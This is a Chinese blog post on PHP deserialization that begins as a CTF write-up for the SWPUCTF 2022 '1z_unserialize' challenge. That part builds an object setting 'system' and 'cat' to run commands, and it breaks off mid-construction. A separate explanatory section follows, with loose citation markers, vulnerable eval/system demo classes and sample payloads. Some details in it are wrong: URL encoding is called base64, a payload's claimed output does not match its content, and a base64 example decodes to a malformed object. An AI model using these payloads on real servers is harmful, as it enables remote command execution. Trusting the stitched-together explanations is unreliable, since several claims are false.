PHP反序列化部分题目解析

PHP反序列化部分题目解析

1.[SWPUCTF 2022 新生赛]1z_unserialize

首先进入靶场后,我们可以直接看到题目的php源码如下:

<?php
 
class lyh{
   
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
   
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

稍加分析,我们可以知道在实现nss反序列化的同时,会触发__destruct()的魔术方法将lt的值赋给a,然后调用a中存储的函数,并将lly属性的值作为参数传递给该函数,由此我们想到把a变成system();this->lly变成ls就可以了

进行构造:

<?php

class lyh{
   
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="cat";

}

### PHP反序列化漏洞原理 PHP反序列化是一种常见的安全漏洞,通常发生在应用程序尝试将字符串转换回对象的过程中。如果攻击者能够控制输入的序列化字符串并将其传递给`unserialize()`函数,则可能触发恶意行为。这种漏洞的核心在于利用PHP中的魔术方法(如`__wakeup()`、`__destruct()`等),这些方法会在特定时刻自动调用[^1]。 #### 漏洞成因分析 当开发者未对用户提交的数据进行严格的校验时,可能会引入不可信的序列化数据。一旦该数据被解码为对象实例,就可能导致意外的行为发生。例如,在某些情况下,可以执行任意代码或者泄露敏感信息[^2]。 #### 实际案例解析 考虑下面这个简单的例子: ```php <?php class Files { public $b = 'echo "ok";'; function __destruct() { eval($this->b); } } // 如果允许外部修改$b的内容, 则可注入命令 $file = unserialize($_GET['data']); ?> ``` 在这个脚本里,只要传入合适的参数就能让服务器端运行指定指令。比如请求URL如下所示将会打印出"hello world": http://example.com/vuln.php?data=O%3A5%3A%22Files%22%3A1%3A%7Bs%3A1%3A%22b%22%3BO%3A9%3A%22SplFileInfo%22%3A0%3A%7B%7D%3B%7D 上述链接中包含了经过base64编码后的payload(O:5:"Files":...) ,它实际上代表了一个Files类的对象定义,并且其成员变量$b已被篡改为新的有效载荷。 #### 关键技术点探讨 为了更好地理解如何构建有效的POP链(即Property Oriented Programming Chain),我们需要熟悉几个重要的概念和技术细节: - **魔术方法的应用**: 如前所述,多个特殊名称的方法可以在不同场景下调用到。除了前面提到过的两个之外还有其他几种值得注意的情况,像`__toString()`用于强制转换为字符串操作之前等等[^4]。 - **类型混淆技巧**: 不同版本之间可能存在兼容性差异,这使得即使表面上看起来相同的结构也可能因为内部实现机制的不同而表现出不一样的特性。因此了解各个发行版之间的区别非常重要[^3]. ### 推荐的学习材料与实践题目 以下是几份不错的参考资料供进一步深入研究: 1. OWASP官方文档关于Deserialization Flaws章节提供了详尽描述以及防御措施建议. 2. CTF比赛平台HackTheBox上有很多涉及此类问的真实环境模拟挑战可供实战演练. 3. SANS Institute发布的白皮书《Secure Coding Guidelines》也涵盖了相关内容讨论. 最后附带一段示范性的测试代码帮助初学者快速入门: ```php <?php error_reporting(E_ALL); class Demo{ private $cmd; public function setCmd($value){ $this->cmd=$value; } public function execute(){ system($this->cmd); } public function __destruct(){ echo "\nExecuting command...\n"; $this->execute(); } } if(isset($_POST["action"])){ @unlink("tmp.ser"); file_put_contents('tmp.ser', serialize(unserialize(base64_decode($_POST["action"])))); }else{ highlight_file(__FILE__); } ?> <form method="post"> <input type="text" name="action"/> <button>Submit</button> </form> <!-- Example payload --> <textarea readonly style="width:100%;height:5em;"> TzoxMDoiRGVtb2NsdXNpdmUiOjE6e3M6NToidGFiIjtPOjQ6IkRlbW8iOjA6e319 </textarea> ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值